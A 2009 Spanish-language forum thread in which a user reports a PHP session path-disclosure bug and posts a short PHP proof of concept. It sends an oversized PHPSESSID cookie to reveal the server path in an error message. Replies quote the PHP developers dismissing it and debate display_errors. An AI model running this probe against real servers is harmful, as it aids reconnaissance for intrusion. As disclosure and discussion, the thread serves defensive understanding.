Bug en PHP 5.3.1 (Path disclosure)

Iniciado por WHK, 26 Diciembre 2009, 23:16 PM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Encontré un bug en PHP y le mandé un correo a php.net pero no parece interesarles asi que se los comento acá mejor.

El problema de seguridad en php 5.3.0, se que actualmente la versión estable de php es 5.3.1 pero estuve observando el changelog y no encontré ningún indicio de haber encontrado y reparado este problema que quiero contar.

El problema es que si inicias sesión con session_start() te crea una cookie llamada "PHPSESSID" la cual contiene un valor alfanumérico y el problema está en que si modificas el valor de dicha cookie una ves creada la sesión entonces se creará un nuevo archivo en el directorio temporal con el nombre de la cookie.

Yo entiendo que el valor máximo de carácteres de un archivo son 256 por lo tanto si le ponemos un valor al PHPSESSID de 300 carácteres se producirá un error revelando un "path disclosure" pudiendo forzar cualquier resultado.

Ejemplo:
Código (php) [Seleccionar]
<?php
session_start
();
if(
$_SESSION)
 echo 
$_SESSION;
else
 
$_SESSION 'xx';
?>


Ahora envías la petición con tu cookie modificada:
Código (php) [Seleccionar]
<?php
error_reporting
(0);

$payload =
'GET / HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID='
.str_repeat('a'500).';

'
;

if(!
$handle fsockopen('127.0.0.1'80)){
 die(
'Error');
}else{
 
fputs($handle$payload);
 while(!
feof($handle)){
  
$retorno .= fread($handle1024);
 }
 echo 
nl2br(htmlspecialchars($retornoENT_QUOTES));
}
?>


Resultado:
CitarWarning: session_start() [function.session-start]: open(/tmp/sess_aaaaaaaaaaaaaaaaaa ..... aa in /opt/lampp/htdocs/test.php on line 3

Al enviar esto por correo me dijeron lo siguiente:
CitarNo del todo seguro de haber entendido. ¿Es sólo una ruta de divulgación del mensaje de error le preocupa? Nosotros no consideramos que un problema de seguridad porque los sistemas de producción no debe estar funcionando con "display_errors" activada.

-Rasmus

Y bueno, como vi que no les interesaba mucho le dije que ya no lo molestaría mas:
CitarSi, es lo ideal, y también todos deberían urilizar htmlspecialchars para evitar xss y mysql escape real string para evitar una inyección sql pero no todos lo hacen.

Actualmente a grán mayoría de sistemas CMS contienen en sus configuraciones un error_reporting habilitado tales como joomla, wordpress, phpbb, vbulettin, smf, moodle, phpnuke, phpmyadmin, sqliteadmin, y muchos mas.

recuerdo hace un tiempo pasado hubo un problema debido a que la cookie de sesión permitía carácteres que no fueran alfanuméricos y por la misma razón se producía el mismo tipo de error lanzando un "path disclosure", por lo cual supuse que también podría importarles pero veo que me equiboqué, no volveré a molestarlos.

Probé este bug en varios servidores y comunidades muy conocidas y de los 8 servidores solo dos no reaccionaron a este problema debido a que por defecto en la configuración del servidor impiden la visualización de errores pero en todos los demás funciona bién.

Incluso puedes crear un exploit para resolver la ruta local del archivo afectado que utilize sesiones de php con session_start().

~ Yoya ~

Heee tio, muy buen hecho, pero es solo la version php 5.3.1 o >= 5.3.1?
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

AlbertoBSD

Valla que si funciona, muchas veces a los tipos de PHP no les importa si los que usan PHP programan pensando en la seguridad o no.

Pero que mas le hacemos.

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

Castg!

me sigue asombrando tu habilidad whk, la verdad te felicito por econtrar y reportar tal error, la verdad los de php.net se la re creen y les molesta que un simple suuario les informe un problema. la verdad, vallanse al carajo!

AoX04

Hey que tal... me acabe registrando en el foro solo para contestar a este post jeje.

Realmente no es un bug de PHP... por que se supone que PHP debe de funcionar de esta manera, el verdadero error de seguridad es el mostrar los errores del servidor (lo cual es un error de quien desarrollo la aplicacion).

display_errors = Off en el php.ini del servidor oculta todos los mensajes de error de PHP.

y aunque haces error_reporting(0); al inicio del documento esto se ejecuta en runtime pero errores como

"Warning: session_start() [function.session-start]: open(/tmp/sess_aaaaaaaaaaaaaaaaaa ..... aa in /opt/lampp/htdocs/test.php on line 3"

Son originados cuando la pagina se compila por lo cual cuando este sucede la error_reporting(0) aun no se ha ejecutado y el error sale a la luz.

Osea el chiste esta en un mal uso de:
error_reporting(0) por que este solo afecta a los errores de Runtime y no de compilacion.
Y un hecho que casi nadie sabe... los docs PHP se compilan antes de ser servidos.
"PHP source code is compiled on-the-fly to an internal format that can be executed by the PHP engine."-Wikipedia.